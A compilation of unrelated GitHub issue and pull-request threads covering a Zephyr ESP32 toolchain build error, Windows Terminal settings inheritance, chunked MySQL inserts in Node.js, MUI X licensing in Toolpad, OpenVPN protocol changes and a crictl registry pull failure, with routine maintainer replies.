Building hello_world failed

I have followed steps as per guid https://docs.zephyrproject.org/latest/getting_started/index.html#
Until step 6, building the application,receiving error.
OS: Ubuntu 18.04

export ZEPHYR_TOOLCHAIN_VARIANT=zephyr
export ZEPHYR_SDK_INSTALL_DIR=/home/swapna/Documents/Workspace/Zephyr_ESP

west build -p auto -b esp32 samples/hello_world
-- west build: build configuration:
source directory: /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/samples/hello_world
build directory: /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build (created)
BOARD: esp32 (origin: command line)
-- west build: generating a build system
-- Zephyr version: 2.2.0-rc3
-- Found PythonInterp: /usr/bin/python3.6 (found suitable version "3.6.9", minimum required is "3.6")
-- Selected BOARD esp32
-- Found west: /home/swapna/.local/bin/west (found suitable version "0.7.2", minimum required is "0.6.0")
-- Loading /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/xtensa/esp32/esp32.dts as base
Devicetree header saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/include/generated/devicetree_unfixed.h'
Parsing /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/Kconfig
Loaded configuration '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/xtensa/esp32/esp32_defconfig'
Merged configuration '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/samples/hello_world/prj.conf'
Configuration saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/.config'
Kconfig header saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/include/generated/autoconf.h'
CMake Error at /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/cmake/extensions.cmake:1479 (message):
No such file or directory: LIBGCC_FILE_NAME: ''
Call Stack (most recent call first):
/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/cmake/compiler/gcc/target.cmake:69 (assert_exists)
/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/cmake/target_toolchain.cmake:49 (include)
/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/cmake/app/boilerplate.cmake:476 (include)
CMakeLists.txt:5 (include)
-- Configuring incomplete, errors occurred!
FATAL ERROR: command exited with status 1: /home/swapna/bin/cmake/cmake-3.16.4-Linux-x86_64/bin/cmake -B/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build -S/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/samples/hello_world -GNinja -DBOARD=esp32
I have tried couple of things changing variant and tool chain.

export ZEPHYR_TOOLCHAIN_VARIANT=cross-compile
export CROSS_COMPILE=/usr/bin/arm-none-eabi-

I have followed steps as per guid https://docs.zephyrproject.org/latest/getting_started/index.html#
Until step 6, building the application,receiving error.
swapna@18:~/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr$ west build -p auto -b esp32 samples/hello_world
-- west build: build configuration:
source directory: /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/samples/hello_world
build directory: /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build (created)
BOARD: esp32 (origin: command line)
-- west build: generating a build system
-- Zephyr version: 2.2.0-rc3
-- Found PythonInterp: /usr/bin/python3.6 (found suitable version "3.6.9", minimum required is "3.6")
-- Selected BOARD esp32
-- Found west: /home/swapna/.local/bin/west (found suitable version "0.7.2", minimum required is "0.6.0")
-- Loading /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/xtensa/esp32/esp32.dts as base
Devicetree header saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/include/generated/devicetree_unfixed.h'
Parsing /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/Kconfig
Loaded configuration '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/xtensa/esp32/esp32_defconfig'
Merged configuration '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/samples/hello_world/prj.conf'
Configuration saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/.config'
Kconfig header saved to '/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/include/generated/autoconf.h'
-- The C compiler identification is GNU 6.3.1
-- The CXX compiler identification is GNU 6.3.1
-- The ASM compiler identification is GNU
-- Found assembler: /usr/bin/arm-none-eabi-gcc
-- Cache files will be written to: /home/swapna/.cache/zephyr
CMake Warning at /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/common/esp32.board.cmake:7 (message):
Setting ESP_IDF_PATH in the environment is deprecated.  Use cmake
-DESP_IDF_PATH=...  instead.
Call Stack (most recent call first):
/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/boards/xtensa/esp32/board.cmake:3 (include)
/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/cmake/app/boilerplate.cmake:506 (include)
CMakeLists.txt:5 (include)
-- Configuring done
-- Generating done
-- Build files have been written to: /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build
-- west build: building application
[1/122] Preparing syscall dependency handling
[7/122] Building C object zephyr/CMakeFiles/offsets.dir/arch/xtensa/core/offsets/offsets.c.obj
FAILED: zephyr/CMakeFiles/offsets.dir/arch/xtensa/core/offsets/offsets.c.obj
ccache /usr/bin/arm-none-eabi-gcc -DBUILD_VERSION=v2.2.0-rc3-20-gcfd0f3e18d01 -DKERNEL -D_FORTIFY_SOURCE=2 -D__ZEPHYR__=1 -I../kernel/include -I../arch/xtensa/include -I../include -Izephyr/include/generated -I../soc/xtensa/esp32 -I../soc/xtensa/esp32/include -I/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/modules/hal/esp-idf/zephyr/../components/esp32/include -I/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/modules/hal/esp-idf/zephyr/../components/soc/esp32/include -I/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/modules/hal/xtensa/include -I/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/modules/hal/xtensa/zephyr/soc/esp32 -isystem ../lib/libc/minimal/include -isystem /usr/lib/gcc/arm-none-eabi/6.3.1/include -isystem /usr/lib/gcc/arm-none-eabi/6.3.1/include-fixed -Os -imacros/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build/zephyr/include/generated/autoconf.h -ffreestanding -fno-common -g -imacros/home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/include/toolchain/zephyr_stdint.h -Wall -Wformat -Wformat-security -Wno-format-zero-length -Wno-main -Wno-pointer-sign -Wpointer-arith -Wno-unused-but-set-variable -Werror=implicit-int -fno-asynchronous-unwind-tables -fno-pie -fno-pic -fno-strict-overflow -fno-reorder-functions -fno-defer-pop -ffunction-sections -fdata-sections -std=c99 -nostdinc -MD -MT zephyr/CMakeFiles/offsets.dir/arch/xtensa/core/offsets/offsets.c.obj -MF zephyr/CMakeFiles/offsets.dir/arch/xtensa/core/offsets/offsets.c.obj.d -o zephyr/CMakeFiles/offsets.dir/arch/xtensa/core/offsets/offsets.c.obj   -c /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/arch/xtensa/core/offsets/offsets.c
/tmp/ccTtYhaH.s: Assembler messages:
/tmp/ccTtYhaH.s:35: Error: bad expression
/tmp/ccTtYhaH.s:35: Error: junk at end of line, first unrecognized character is 8' /tmp/ccTtYhaH.s:41: Error: bad expression /tmp/ccTtYhaH.s:41: Error: junk at end of line, first unrecognized character is 0'
/tmp/ccTtYhaH.s:47: Error: bad expression
/tmp/ccTtYhaH.s:47: Error: junk at end of line, first unrecognized character is 4' /tmp/ccTtYhaH.s:53: Error: bad expression /tmp/ccTtYhaH.s:53: Error: junk at end of line, first unrecognized character is 8'
/tmp/ccTtYhaH.s:59: Error: bad expression
/tmp/ccTtYhaH.s:59: Error: junk at end of line, first unrecognized character is 0' /tmp/ccTtYhaH.s:65: Error: bad expression /tmp/ccTtYhaH.s:65: Error: junk at end of line, first unrecognized character is 4'
/tmp/ccTtYhaH.s:71: Error: bad expression
/tmp/ccTtYhaH.s:71: Error: junk at end of line, first unrecognized character is 5' /tmp/ccTtYhaH.s:77: Error: bad expression /tmp/ccTtYhaH.s:77: Error: junk at end of line, first unrecognized character is 0'
/tmp/ccTtYhaH.s:83: Error: bad expression
/tmp/ccTtYhaH.s:83: Error: junk at end of line, first unrecognized character is 6' /tmp/ccTtYhaH.s:89: Error: bad expression /tmp/ccTtYhaH.s:89: Error: junk at end of line, first unrecognized character is 1'
/tmp/ccTtYhaH.s:95: Error: bad expression
/tmp/ccTtYhaH.s:95: Error: junk at end of line, first unrecognized character is 1' /tmp/ccTtYhaH.s:101: Error: bad expression /tmp/ccTtYhaH.s:101: Error: junk at end of line, first unrecognized character is 1'
/tmp/ccTtYhaH.s:107: Error: bad expression
/tmp/ccTtYhaH.s:107: Error: junk at end of line, first unrecognized character is 1' /tmp/ccTtYhaH.s:113: Error: bad expression /tmp/ccTtYhaH.s:113: Error: junk at end of line, first unrecognized character is 1'
/tmp/ccTtYhaH.s:119: Error: bad expression
/tmp/ccTtYhaH.s:119: Error: junk at end of line, first unrecognized character is 2' /tmp/ccTtYhaH.s:125: Error: bad expression /tmp/ccTtYhaH.s:125: Error: junk at end of line, first unrecognized character is 0'
/tmp/ccTtYhaH.s:131: Error: bad expression
/tmp/ccTtYhaH.s:131: Error: junk at end of line, first unrecognized character is 4' /tmp/ccTtYhaH.s:137: Error: bad expression /tmp/ccTtYhaH.s:137: Error: junk at end of line, first unrecognized character is 7'
/tmp/ccTtYhaH.s:143: Error: bad expression
/tmp/ccTtYhaH.s:143: Error: junk at end of line, first unrecognized character is 6' /tmp/ccTtYhaH.s:149: Error: bad expression /tmp/ccTtYhaH.s:149: Error: junk at end of line, first unrecognized character is 1'
/tmp/ccTtYhaH.s:155: Error: bad expression
/tmp/ccTtYhaH.s:155: Error: junk at end of line, first unrecognized character is 1' /tmp/ccTtYhaH.s:162: Error: bad expression /tmp/ccTtYhaH.s:162: Error: junk at end of line, first unrecognized character is 4'
/tmp/ccTtYhaH.s:168: Error: bad expression
/tmp/ccTtYhaH.s:168: Error: junk at end of line, first unrecognized character is 0' /tmp/ccTtYhaH.s:174: Error: bad expression /tmp/ccTtYhaH.s:174: Error: junk at end of line, first unrecognized character is 8'
/tmp/ccTtYhaH.s:180: Error: bad expression
/tmp/ccTtYhaH.s:180: Error: junk at end of line, first unrecognized character is 0' /tmp/ccTtYhaH.s:186: Error: bad expression /tmp/ccTtYhaH.s:186: Error: junk at end of line, first unrecognized character is 0'
/tmp/ccTtYhaH.s:192: Error: bad expression
/tmp/ccTtYhaH.s:192: Error: junk at end of line, first unrecognized character is 0' /tmp/ccTtYhaH.s:198: Error: bad expression /tmp/ccTtYhaH.s:198: Error: junk at end of line, first unrecognized character is 4'
/tmp/ccTtYhaH.s:204: Error: bad expression
/tmp/ccTtYhaH.s:204: Error: junk at end of line, first unrecognized character is 8' /tmp/ccTtYhaH.s:210: Error: bad expression /tmp/ccTtYhaH.s:210: Error: junk at end of line, first unrecognized character is 9'
ninja: build stopped: subcommand failed.
FATAL ERROR: command exited with status 1: /home/swapna/bin/cmake/cmake-3.16.4-Linux-x86_64/bin/cmake --build /home/swapna/Documents/Workspace/Zephyr_ESP/zephyrproject/zephyr/build
I am not sure which variant and toolchain

west build -b esp32 samples/hello_world/
-- west build: generating a build system
-- Application: /home/nashif/Work/zephyrproject/zephyr/samples/hello_world
-- Zephyr version: 2.2.99
-- Found PythonInterp: /usr/bin/python3 (found suitable version "3.7.6", minimum required is "3.6")
-- Board: esp32
-- Found west: /home/nashif/.local/bin/west (found suitable version "0.7.2", minimum required is "0.6.0")
-- Found toolchain: espressif (/home/nashif/Work/SDK/xtensa-esp32-elf)
-- Loading /home/nashif/Work/zephyrproject/zephyr/boards/xtensa/esp32/esp32.dts as base
Devicetree header saved to '/home/nashif/Work/zephyrproject/zephyr/build/zephyr/include/generated/devicetree_unfixed.h'
Parsing /home/nashif/Work/zephyrproject/zephyr/Kconfig
Loaded configuration '/home/nashif/Work/zephyrproject/zephyr/boards/xtensa/esp32/esp32_defconfig'
Merged configuration '/home/nashif/Work/zephyrproject/zephyr/samples/hello_world/prj.conf'
Configuration saved to '/home/nashif/Work/zephyrproject/zephyr/build/zephyr/.config'
Kconfig header saved to '/home/nashif/Work/zephyrproject/zephyr/build/zephyr/include/generated/autoconf.h'
-- The C compiler identification is GNU 5.2.0
-- The CXX compiler identification is GNU 5.2.0
-- The ASM compiler identification is GNU
-- Found assembler: /home/nashif/Work/SDK/xtensa-esp32-elf/bin/xtensa-esp32-elf-gcc
-- Cache files will be written to: /home/nashif/.cache/zephyr
CMake Warning at /home/nashif/Work/zephyrproject/zephyr/boards/common/esp32.board.cmake:7 (message):
  Setting ESP_IDF_PATH in the environment is deprecated.  Use cmake
  -DESP_IDF_PATH=...  instead.
Call Stack (most recent call first):
  /home/nashif/Work/zephyrproject/zephyr/boards/xtensa/esp32/board.cmake:3 (include)
  /home/nashif/Work/zephyrproject/zephyr/cmake/app/boilerplate.cmake:508 (include)
  CMakeLists.txt:5 (include)

-- Configuring done
-- Generating done
-- Build files have been written to: /home/nashif/Work/zephyrproject/zephyr/build
-- west build: building application
[1/122] Preparing syscall dependency handling

[122/122] Linking C executable zephyr/zephyr.elf

You are not using the right toolchain, please follow the documentation.

Can I know which toolchain are using?


Base layer is ignored when profile setting is deleted in SUI

Environment
Windows build number: 10.0.21286.0
Windows Terminal version (if applicable): 1.6.10101.0

Any other software?

Steps to reproduce
Apply a setting in Base layer, then remove the same setting from a specific profile. For example, set the Base layer font face to Cascadia Code and remove Cascadia Code PL from the font face section of PowerShell.
Note that I didn't test other settings with Base layer, so this may be the only one I'm not entirely sure.
Expected behavior
PowerShell should use Cascadia Code because it's defined in Base layer.
Actual behavior
Terminal shows an error saying "" is not a font face, using Consolas instead. and Cascadia Code is ignored from the Base layer.

The same error occurs if you used to have a font face in your Base layer, then remove it. Then if you create a new profile and don't set its font, the error occurs again because "defaults" has "fontFace": "" in it now.

The same error occurs if you used to have a font face in your Base layer, then remove it. Then if you create a new profile and don't set its font, the error occurs again because "defaults" has "fontFace": "" in it now.

This is all caused by "fontFace": "" being interpreted as "set the font face to ''", rather than "un-set the font face". The same applies to other string settings like "backgroundImage".
This is really a case of us needing to implement #8269, so that users can explicitly clear/inherit a setting.

This is all caused by "fontFace": "" being interpreted as "set the font face to ''", rather than "un-set the font face". The same applies to other string settings like "backgroundImage".
This is really a case of us needing to implement #8269, so that users can explicitly clear/inherit a setting.

Carlos, repurpose this issue to be the per-field inheritance implementation for 8269.

Carlos, repurpose this issue to be the per-field inheritance implementation for 8269.


Streams for inserting large data array

Hi,
I have an ETL job to parse & load a large text file and insert the data into mysql database. When script parses the file, it stores the data in a large array. (https://github.com/skilbjo/costs.js/blob/master/src/Vantiv_Import_Stream.js)
I often receive the error: [Error: ER_NET_PACKET_TOO_LARGE: Got a packet bigger than 'max_allowed_packet' bytes] because the data is so large.
In the docs you mentioned:
Additionally you may be interested to know that it is currently not possible
to stream individual row  columns, they will always be buffered up entirely.
If you have a good use case for streaming large fields to and from MySQL,
I'd love to get your thoughts and contributions on this.

I think this would be a good use case!
Here is my code, but I still get the same ER_NET_PACKET_TOO_LARGE error:
var data = ['large 100mb+ array']

var sql = 'insert into ' + table +
    '(idVantiv, Month, Merchant_Id, Merchant_Descriptor, Network, Qualification_Code, Transaction_Type, '+
    ' Issuer_Type, Card_Type, Txn_Count, Txn_Amount, ' +
    'Interchange) values ?';

query.connection.query(sql, [data])
.on('error', function(err){
    console.log('Error: ', err);
})
.on('fields', function(fields){
    console.log(fields);
})
.on('result', function(row){
    console.log(row);
})
.on('end', function() {
    h.connection.end();
});

hi.
maybe you can seperate data into smaller parts and use it with async.
normally a big array
my_big_array = [
[a,b,c],
[d,e,f],
[g,h,j],
[k,l,p]
]

parsed_big_array = [
[[a,b,c],[d,e,f]],
[[g,h,j],[k,l,p]]
]

  async.times(parsed_big_array.length, function(n, next){
                        var data = parsed_big_array [n];
                        connection.query('INSERT INTO table SET ?', {c1:data }, function(err, result) {});
                        next(null);
                    }, function(err) {
                        next(err, d2)
                    });`

@synanhero  I could kiss you
It makes sense... instead of trying 1x time to insert 30,000 rows; I'll try 300x times to insert 1,000 rows. A bit more overhead, but scaleable for n number of rows.
rl.on('close', function() {
	h.connection.connect();
	reduceArray(large_array, function(small_array){
		db(small_array);
	});
});

var reduceArray = function(arr, cb){
	var size = 1000,
	 small_array = []
	 ;

	for (var i=0; i<arr.length; i+=size){
		var chunk = arr.slice(i,i+size);
		small_array.push(chunk);
	};
	cb(small_array);
};

/* Insert into SQL */
var db = function(small_array){
	async.times(small_array.length, function(n, next){
		var data = small_array[n];
		h.connection.query(sql, [data], function(err,result){
		next(err, result);
		});
	}, function(err){
		console.log(err);
	});
}

I've done something similar. I was decoding 1,000,000 rows of data from an Avro file and streaming that out in batches of 1000. This works well, with the exception that the Avro file decodes a LOT faster than the SQL statements can run, meaning I was left with almost the entire result set in memory.
Running 33 insert statements isn't so bad, but I was running 1000 insert statements.
It worked absolutely fine, but I was a little worried I could potentially run out of memory if it got any bigger.
Another option I adopted was to write my data to a csv file, then use the SQL
LOAD DATA INFILE "my/file/path.csv"
INTO TABLE my_table
               CHARACTER SET utf8
               FIELDS TERMINATED BY ","
               LINES TERMINATED BY "\n"

You might find this book I just wrote helpful


Connection draining on linux?

I was able to get it to fully drain on osx, but ubuntu seems to still give me:
Get http://<IP_ADDRESS>:8080/: read tcp <IP_ADDRESS>:51269-><IP_ADDRESS>:8080: read: connection reset by peer

Did you test the draining code on linux too?

Nevermind, I think this is more related to my use of SO_REUSEPORT


Setting MinTLS for CA server

Description
This change sets MinTLS version as tls1.2 for Sentry CA Server.
Issue reference
Please reference the issue this PR is linked to: #6031
Checklist
Please make sure you've  completed the relevant tasks for this PR, out of the following list:

[ ] Code compiles correctly
[ ] Created/updated tests
[ ] Unit tests passing
[ ] End-to-end tests passing
[ ] Extended the documentation / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Specification has been updated / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]
[ ] Provided sample for the feature / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]

Note that this is not a breaking change (just like #6069 ) because the client was already using TLS 1.2 or higher. This just helps with compliance


[4 pt] Display number of likes for each items

👇 👇  The following feature was added to the branch 👇 👇
👉 Display number of likes for each item

✔  Approved!
Hi @gergitokusse

Your milestone is complete!  There is nothing else to say other than... it's time to merge it :shipit:
Congratulations! 🎉
Highlights 🌟

✔ Create the main part of the homepage like the wireframe
✔ While loading the page the web app retrieves data from the selected API and shows the list of items on the screen with the basic data (e.g. title + image).
✔ Build comments and reservations buttons

Optional suggestions 🤷♂
Every comment with the [OPTIONAL] prefix is not crucial enough to stop the approval of this PR. However, I strongly recommend you take them into account as they can make your code better.
Cheers, and Happy coding!👏👏👏
Important Notes 📝

Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.


[INTERNAL] Blue print for a CI pipeline for Account Setup

What area do you want to see improved?
terraform provider
Is your feature request related to a problem? Please describe.
Currently a developer needs guidance on how to setup a CI pipeline for Account Setup
Describe the solution you would like
Describe how to creat a GH which sets a SubAccount and add entitlements and also stores state in a secure storage. This pipeline should reusable to modify the Account Configuration
Describe alternatives you have considered
No response
Additional context
No response

@CHERIANS Isn't the samples repository the better place for such examples?

PR for Artifactory was added as well. Internal pipeline for POC showcasing completed


Cannot change python image file name to save.

VSCode Version: 1.6.1
OS Version: OS X El Capitan 10.11.6

Steps to Reproduce:

Install the package - "Python" by Don Jayamanne
Write simple python script to plot a graph.
cmd + shift + p
select "Python: Run python file in terminal"
Once the graph shows up click save button on the plot window.
Try changing the name of the file being saved.
You will not be able to change the file name.

@shishirpy where does the image show up? can you share screenshots?

@bpasero : The image opens as a new window.

@shishirpy this window does not seem to belong to VS Code but some other application. We do not provide a save button in such a window, please report to the program.


Bump versions, and improve semantic version requirements

Thanks!

Do you think you could push a new minor version with this change? Currently unable to use this gem because I use the latest Rake version.

Done. 0.0.2 is live on rubygems.


How do I select the last character on a line?

I have the following code:
<FastField id={token} key={token} name={token} |onChange={() => console.log('fastfieldchange')}>

My cursor is where the | is. I would like to delete to the final >, so I type dz> and get the following highlights:

It looks like I should press s, but there's another s highlighted before the final s. What should I press to delete to the final >?

It looks like I should press s, but there's another s highlighted before the final s

The first s is a shortcut, the second is not, it's a normal label, so you should enter the second character, even though the label is already visible. You might find this video helpful, if the usage is not 100% clear from the readme.
To answer the specific question: {char}<enter> to the rescue (https://github.com/ggandor/lightspeed.nvim#matching-line-breaks-linewise-motions). The ¬ character before the label indicates that you should press enter as the second char to reach that match.


Issue 14  spots api

I added the spots api markdown files.
#14

@hijcheung You have a conflict you need to resolve: https://help.github.com/articles/resolving-a-merge-conflict-using-the-command-line/
You also need to place all your md files for this issue at docs/apis/spots/<your files>

@hijcheung move all markdown files to the docs/api/spots/ folder

@hijcheung up, see my last comment


[VSCode] There is an intermittent slowness when showing errors

Description:
This happened sometimes where there is a slowness in VSCode plugging. Even when we did the fixes error keeps showing when hovering over it shows previous error message and loading as following screenshot.

This one took around 30 to 40 seconds and got updated. At that point i have already remove + operator.

@keizer619 what's the version used?

@keizer619 what's the version used?

it was slp8

it was slp8

SLP8 had an issue regarding a sudden CPU spike and we fixed it with https://github.com/ballerina-platform/ballerina-lang/pull/27644. This fix has been merged to latest master. Hence shall we close the issue and reopen if we can observe the same in slp9 as well?

SLP8 had an issue regarding a sudden CPU spike and we fixed it with https://github.com/ballerina-platform/ballerina-lang/pull/27644. This fix has been merged to latest master. Hence shall we close the issue and reopen if we can observe the same in slp9 as well?

Closing the issue based on https://github.com/ballerina-platform/ballerina-lang/issues/27752#issuecomment-762624442

Closing the issue based on https://github.com/ballerina-platform/ballerina-lang/issues/27752#issuecomment-762624442


Overdue Tasks App Customizer has been updated to SPFx v1.4

Q
A

Bug fix?
no

New feature?
no

New sample?
no

Related issues?
no

What's in this Pull Request?
Overdue Tasks App Customizer has been updated to SPFx v1.4

thx Alex, appreciated.


add Google.Cloud.EntityFrameworkCore.Spanner

No idea about 5.0 or 6.0, but I sure hope so! I'm not involved with the project - I just came across it while browsing. So I figured that I'd help them get it added to the directory here.


Editor and status bar components

@CGNonofr Please rebase and signal when it is ready for review / test. Thanks

@CGNonofr Please rebase and signal when it is ready for review / test. Thanks

Rebased and demo build fixed :)


Remove @mui/x-data-grid-pro

Remove non-MIT dependency @mui/x-data-grid-pro
Remove bundled MUI X license

To be sure. Do we still have DataGrid Pro for the editor?

Do we still have DataGrid Pro for the editor?

This PR completely removes it. The only feature we lose will be the possibility of resizing the datagrid columns by drag and drop. They can still be resized using an input field on the column definition.
If we want to keep pro grid in the editor we will have to figure out how we will license and distribute the X license key that is needed for this feature:

Can we mark a portion of the code as non-MIT and how?
What does it mean to depend on non-MIT packages?

This PR completely removes it. The only feature we lose will be the possibility of resizing the datagrid columns by drag and drop. They can still be resized using an input field on the column definition.

This is a deal-breaker for the change IMHO, we need the UX of the editor to be great.

Today's he's not licensed for it, but it's not clear.

I recently added a feature in X that allows us to scope the license to our components only. This part we can solve. On a technical level we can now make it so that Toolpad components can use pro datagrid without watermark and user components will show the watermark.
The concerns that remain are more from a legal nature:

Toolpad will need to have a dependency on @mui/x-data-grid-pro which is not MIT, what's the implication for the open-source license of Toolpad. Can we still call it MIT? Or de we need to change the license?
Toolpad will need to be bundled with a valid license key. Which software license will apply to this bundled key? MIT? Does that mean that anybody can just use that license key for any purpose they want?

Can we still call it MIT?

The combined license isn't MIT, but Toolpad's code itself is MIT. MUI X Pro and Toolpad are license-compatible https://en.wikipedia.org/wiki/License_compatibility they have no contradictions as long as MUI issues a custom license, e.g. to avoid https://mui.com/legal/mui-x-eula/#deployment.

Toolpad will need to be bundled with a valid license key. Which software license will apply to this bundled key? MIT? Does that mean that anybody can just use that license key for any purpose they want?

A license key has no value on its own, it's only here to help developers follow the license terms. The license key is between MUI X Pro and Toolpad. If we don't precise anything, https://mui.com/legal/mui-x-eula/ applies to it.

👍  Thanks, got it. We'll keep it as it is and instead scope the license to our components only.


Revert "Close quotation mark"

Reverts plfa/plfa.github.io#521

It appears this section contains a long quote from elsewhere. If that is correct, the source of the quote must be given! As it stands, it reflects poor scholarly practice, bordering on plagiarism.

It does, it's a quote from the Agda docs.

Fixed.


Release a version 0.12.0 with ktfmt in Version 0.43.0

The master is already up-to-date when it comes to the version of ktfmt. It would be nice if there was also a release of the gradle plugin with the new version.
Even better would be to make the ktfmt version independent of ktfmt-gradle.

Here you go 👍 https://github.com/cortinico/ktfmt-gradle/releases/tag/0.12.0


Send less data for certain user calls to improve data privacy

Some REST calls related to users (which are only possible for instructors) reveal more information than needed for the Artemis user interface. This PR tries to reduce the data.
Checklist

[x] I tested all changes and all related features with different users (student, tutor, instructor, admin) on the test server https://artemistest.ase.in.tum.de.
[x] Server: I followed the coding and design guidelines.
[x] Server: I updated multiple integration tests (Spring) related to the features (with a high test coverage)
[x] Server: I added @PreAuthorize and check the course groups for all new REST Calls (security)
[x] Server: I implemented the changes with a good performance and prevented too many database calls
[x] Server: I documented the Java code using JavaDoc style.
[x] Client: I followed the coding and design guidelines.
[x] Client: I added multiple integration tests (Jest) related to the features (with a high test coverage)
[x] Client: I added authorities to all new routes and check the course groups for displaying navigation elements (links, buttons)
[x] Client: I documented the TypeScript code using JSDoc style.
[x] Client: I added multiple screenshots/screencasts of my UI changes
[x] Client: I translated all the newly inserted strings into German and English

Steps for Testing

Add / remove users in the different course groups (students, tutors, instructors)
Register single / multiple users for exams
Add users to organizations
Search for users in those two places

Checks:

Inspect the REST responses in the chrome developer console and check if unnecessary data (not shown in the user interface, such as groups, authorities, etc.) are not included in the json body.

When testing on ts2, i can still see the "createdBy"-attribute in the JSON Response even though it is not shown in UI. Also, when adding multiple users to an exam and then getting the list of registered students, i can see the "lastNotificationRead"-attribute of every student. Especially the later one might be a problem for privacy of the individual students. (It might still be needed for the client, i dont know the execution well enough to evaluate that)

Thanks, both values could be removed, but are less of a privacy issue than the other values. As we already have a couple of approvals, I would suggest that we remove those less problematic values in a follow-up PR


full manifests?

related to https://github.com/buda-base/library-issues/issues/281

[ ] there should be an indication in the manifest that a page is skipped because of its size
[ ] maybe there should be an option in the manifest query (like the ?continuous one) that preserves all the images, at the user (and our) expense

And the option to download the entire volume or page range regardless of image size should be available.


add: feature/toss-a-coin

According to Issue #7, this pull request is for adding toss-a-coin feature for Alina virtual assistant.
Changes proposed:
🔨 update .gitignore to exclude .DS_Store that always appear in macOS
🔨 improve requirement file - for existing version, it seem to be unable to use wikipedia, pyjoke.
✨ add toss-a-coin function, and did couple of re-adjust some code
Thank you. 😉

Welcome and Thanks @Kawaeee


writeExif for Dng

Hello,
I just notice that we don't have the writeExif API for  DNG in IO library.
is it possible to do this in short time?
because in the README.md of IO have a Exif = "x" in DNG. or we just need to remove it from the table?

Hi, writeExif is not supported for DNG currently, however EXIF have a "x" in the readme because you can still read and write the EXIFs when reading and writing a DNG image.
It should be doable to support this, however:

I do not think it would be much useful in this form, what you want for DNG is generally to update metadata fields like color matrix or gain maps, thus a more generic writeMetadata would be needed.
writeExif API is really important for lossy compression formats like jpeg because it allows to update the EXIFs without re-encoding the image (which would lose information). For lossless formats reading and re-writing is slower, but ok image-side.


Option to choose either UDP/TCP, change port number

Hello,
installer offer me to select port. I would like 443 and TCP (not UDP), it would be good if i can also define whether i want UDP or TCP protocol.
Or please how to change it manually after installer finished?
Thank You, your installer is very helpful

You can edit proto udp to proto tcp in both /etc/openvpn/server.conf and the generated .ovpn files.


Use crictl pull private register image,Failed to pull image rpc error: code = Unknown

What happened:
I use crictl pull a private register image，can't pull success. the error log is "Failed to pull image "registry.mgzf.com/devops/jenkins:lts": rpc error: code = Unknown desc = failed to pull and unpack image "registry.xxx.com/devops/jenkins:lts": failed to resolve reference "registry.xxx.com/devops/jenkins:lts": unexpected EOF"

I have modified the configuration file of containerd

but I use ctr nerdctl or docker pull images ok。

What you expected to happen:
Can successfully pull the private image
How to reproduce it (as minimally and precisely as possible):
Anything else we need to know?:
Environment:

Container runtime or hardware configuration:
containerd v1.4.3
OS (e.g: cat /etc/os-release):

CentOS Linux release 8.3.2011

Kernel (e.g. uname -a):

Linux master-03 5.11.0-1.el8.elrepo.x86_64

Others:

This looks like containerd related, @mikebrow may you give this one a look?

ctr and nerdctl don't use the CRI config... But let's close this here as it is not an issue with crictl... You can take a look at the issues/discussions over on containerd/containerd regarding registry support, the docs in containerd/containerd/docs/cri/* and the changes coming to the latest containerd configuration for registry mirrors, auth, etc..


Bos Wars source

I have trouble finding the source of Bos Wars (https://www.boswars.org/).

Found it. In the downloads (the src.zip is corrupt). It's C++ with GPL-2.0.


fix typo in default envoy JSON log format

Fixes the first issue in https://github.com/istio/istio/issues/12232

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: dwradcliffe
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: rshriram
If they are not already assigned, you can assign the PR to them by writing /assign @rshriram in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

pilot/pkg/networking/OWNERS

